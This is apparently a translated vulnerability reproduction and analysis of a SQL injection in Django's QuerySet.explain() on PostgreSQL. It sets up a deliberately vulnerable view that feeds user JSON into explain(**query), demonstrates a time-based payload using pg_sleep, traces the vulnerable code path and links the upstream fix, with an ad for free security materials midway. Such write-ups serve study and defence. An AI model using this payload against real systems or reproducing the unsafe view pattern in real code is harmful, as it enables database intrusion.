Vulnerability Profile
A SQL injection issue was found in QuerySet.deexplain() in Django 2.2 versions prior to 2.2.28, 3.2 versions prior to 3.2.13, and 4.0 versions prior to 4.0.4. This is achieved by passing a crafted dictionary (with dictionary extensions) as the **options argument, with the injection payload placed in the option names.
Affected version
2.2 =< Django < 2.2.28
3.2 =< Django < 3.2.13
4.0 =< Django < 4.0.4
Environment build
Create vulnerable Django version 3.2.12 project
Create startapp Demo and modify the files in turn
Install postgresql database
settings.py set the connection database to postgresql database
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'test',
'USER': 'postgres',
'PASSWORD': '123456',
'HOST': '127.0.0.1',
'PORT': '5432',
}
}
urls.py set the corresponding route
from django.contrib import admin
from django.urls import path
from Demo import views
urlpatterns = [
path('admin/', admin.site.urls),
path('index/', views.index),
path('demo/', views.users),
path('initialize/', views.loadexampledata),
]
models.py
from django.db import models
# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)
def __str__(self):
return self.name
views.py
import json
from django.http import HttpResponse
from django.shortcuts import render
# Create your views here.
from .models import User
def index(request):
return HttpResponse('hello world')
def users(request):
query = request.GET.get('q')
query = json.loads(query)
qs = User.objects.get_queryset().explain(**query)
return HttpResponse(qs)
def loadexampledata(request):
u = User(name="Admin")
u.save()
u = User(name="Staff1")
u.save()
u = User(name="Staff12")
u.save()
return HttpResponse("ok")
Vulnerability recurrence
http://127.0.0.1:8000/demo/?q={
"ANALYZE)+select+pg_sleep(5);--+":"aaa"}
It was found that the successful construction made the server sleep
To help you study cybersecurity, you can receive a full set of information for free:
① Mind map of cybersecurity learning and growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)
Vulnerability analysis
Before code analysis, let's understand a knowledge point EXPLAIN
EXPLAIN
EXPLAIN - display the execution plan of a statement
EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement
option:
ANALYZE [ boolean ] 执行命令并显示实际运行时间
VERBOSE [ boolean ] 显示规划树完整的内部表现形式,而不仅是一个摘要
COSTS [ boolean ]
BUFFERS [ boolean ]
TIMING [ boolean ]
FORMAT {
TEXT | XML | JSON | YAML }
statement:
查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句
EXPLAIN ANALYZE will not only display the query plan, but will actually run the statement. EXPLAIN ANALYZE discards any output from the SELECT statement, but other operations within that statement are performed (such as INSERT, UPDATE, or DELETE).
debug analysis
django.db.models.query.QuerySet.explain
django.db.models.sql.query.Query.explain
django.db.models.sql.compiler.SQLCompiler.explain_query
django.db.models.sql.compiler.SQLCompiler.execute_sql
django.db.models.sql.compiler.SQLCompiler.as_sql
Here, the corresponding explain_query_prefix method will be called according to the selected database
django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix
postgresql
rewritten the explain_query_prefix method to splice the key name into the SQL statement
The last SQL statement executed was
'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);-- true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'
Bug fixes
https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901
Do a filter and throw an exception if a dangerous character is found
Only strings in the whitelist will be spliced into the statement